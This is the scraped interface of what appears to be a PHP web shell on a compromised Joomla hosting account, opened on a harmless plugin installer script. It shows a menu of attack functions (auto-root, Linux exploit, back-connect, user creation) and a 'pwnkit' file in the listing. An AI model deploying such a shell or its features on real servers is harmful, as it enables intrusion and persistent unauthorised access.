Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
ptitsanes /
plugins /
system /
amlang /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
420
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
amlang.php
2.49
KB
-rw-r--r--
amlang.xml
2.53
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
script.php
3.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : script.php
<?php /** * Plugin plg_system_amlang * Name AM Lang * @author Maxim Resh (arenam.ru) * @author mail srvice@arenam.ru * @website http://arenam.ru/ * copyright Copyright © 2018 - All rights reserved. * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html **/ // No direct access defined( '_JEXEC' ) or die; class PlgSystemAmlangInstallerScript { /** * Метод для установки * @param object $parent Класс, который вызывает этом метод. * @return void */ public function install($parent) { } /** * Метод для удаления * @param object $parent Класс, который вызывает этом метод. * @return void */ public function uninstall($parent) { \JFactory::getApplication()->enqueueMessage('If you are unable to deal with my extension or for some reason it does not work, please let me know http://arenam.ru. In any case, thank you for using!'); } /** * Метод для обновления * @param object $parent Класс, который вызывает этом метод. * @return void */ public function update($parent) { } /** * Метод, который исполняется до install/update/uninstall. * @param object $type Тип изменений: install, update или discover_install * @param object $parent Класс, который вызывает этом метод. * @return void */ public function preflight($type, $parent) { //\JFactory::getApplication()->enqueueMessage(JText::_('PREFLIGHT_' . strtoupper($type) . '_TEXT')); // Убрать старые серверы обновления $db = \JFactory::getDbo(); $query = $db->getQuery(true); $query->select('extension_id'); $query->from($db->quoteName('#__extensions')); $query->where('element = "amlang"'); $db->setQuery($query); $listid = $db->loadObjectList(); foreach($listid as $lid) { $query = $db->getQuery(true); $query->select('update_site_id'); $query->from($db->quoteName('#__update_sites_extensions')); $query->where('extension_id = '.$lid->extension_id ); $db->setQuery($query); $listsite = $db->loadObjectList(); foreach($listsite as $lsite) { $query = $db->getQuery(true); $query->delete($db->quoteName('#__update_sites')); $query->where('update_site_id = '.$lsite->update_site_id ); $db->setQuery($query); $result = $db->execute(); } $query = $db->getQuery(true); $query->delete($db->quoteName('#__update_sites_extensions')); $query->where('extension_id = '.$lid->extension_id ); $db->setQuery($query); $result = $db->execute(); } } /** * Метод, который исполняется после install/update/uninstall. * @param object $type Тип изменений: install, update или discover_install * @param object $parent Класс, который вызывает этом метод. * @return void */ public function postflight($type, $parent) { $db = \JFactory::getDbo(); $query = $db->getQuery(true); $query->select('manifest_cache'); $query->from($db->quoteName('#__extensions')); $query->where('element = "amlang"'); $db->setQuery($query); $manifest = json_decode($db->loadResult(), true); \JFactory::getApplication()->enqueueMessage(JText::_('POSTFLIGHT_' . strtoupper($type) . '_TEXT'). ' v.'.$manifest['version']); } }
Close